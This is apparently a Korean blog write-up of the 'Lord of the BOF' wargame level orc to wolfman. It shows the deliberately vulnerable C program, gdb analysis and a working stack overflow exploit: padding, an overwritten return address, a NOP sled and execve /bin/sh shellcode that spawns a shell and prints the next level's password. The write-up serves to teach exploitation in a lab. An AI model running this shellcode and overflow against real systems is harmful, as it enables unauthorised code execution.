728x90
orc / cantata
[orc@localhost orc]$ cat wolfman.c
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
egghunter와 buffer hunter가 있다. 각각 환경 변수와 buffer를 0으로 덮어 씌워서 사용 못하게 하는 것이다.
바로 전에 푼 orc 문제와 같은 방식으로 풀면 될 거 같다.
0x80485b8 <main+184>: push %edx
0x80485b9 <main+185>: lea %eax,[%ebp-40] //buffer 주소 ebp-40
0x80485bc <main+188>: push %eax
0x80485bd <main+189>: call 0x8048440 <strcpy>
gdb를 실행하려면 wolfman 실행파일 복사본에 대하여 실행해야 한다. wolfman 실행파일의 소유자와 소유그룹이 wolfman이라 gdb 실행이 안 된다.
strcpy 함수의 인자로 쓰이는 걸로 보아 buffer 주소가 ebp-40임을 알 수 있다.
40 bytes(buffer)+4 bytes(sfp)를 "A"로 채우고 4 bytes(retn)을 스택 아래 내가 전달하는 '\x90'들 중 하나의 주소로 설정한다. 이어서 여러 개의 '\x90'과 쉘 코드를 인자로 전달하면 된다. 그럼 NOP Sled 기법으로 쉘 코드가 실행될 것이다.
참고로 실제로 내가 wolfman에 전달한 인자와 거의 같은 길이의 문자열을 전달해야한다. 안 그럼 스택의 주소값들이 바뀐다. ('\x90'을 190개 전달하니 주소값 바뀜. 199개는 동일)
(gdb) r `python -c 'print "A"*44+"\xc7\xfa\xff\xbf"+"\x90"*200+"B"*25'`
Starting program: /home/orc/wolfman2 `python -c 'print "A"*44+"\xc7\xfa\xff\xbf"+"\x90"*200+"B"*25'`
Breakpoint 1, 0x8048506 in main ()
(gdb) c
Continuing.
Breakpoint 2, 0x80485bd in main ()
(gdb) ni
0x80485c2 in main ()
(gdb) x/70x $ebp-44
0xbffff9dc: 0x00000016 0x41414141 0x41414141 0x41414141
0xbffff9ec: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9fc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa0c: 0xbffffac7 0x90909090 0x90909090 0x90909090
0xbffffa1c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa2c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa3c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa4c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa5c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa6c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa7c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa8c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa9c: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffaac: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffabc: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffacc: 0x90909090 0x90909090 0x90909090 0x42424242
0xbffffadc: 0x42424242 0x42424242 0x42424242 0x42424242
0xbffffaec: 0x42424242 0x08040042
쉘 코드 대신 "B"*25를 입력하여 주소를 파악했다. 0x4242...가 저장된 부분이 쉘 코드가 저장될 부분이다. 그리고 '\x90' 주소들 중 0xbffffa6c로 retn 주소를 덮어쓸 것이다.
[orc@localhost orc]$ ./wolfman `python -c 'print "A"*44+"\x6c\xfa\xff\xbf"+"\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAl1h//shh/bin⏓°
̀
bash$ my-pass
euid = 505
love eyuna
728x90
'Lord of Buffer Overflow' 카테고리의 다른 글
darkelf -> orge (0) | 2023.01.21 |
---|---|
wolfman -> darkelf (0) | 2023.01.21 |
goblin -> orc (0) | 2023.01.21 |
cobolt -> goblin (2) | 2023.01.21 |
gremlin -> cobolt (0) | 2023.01.21 |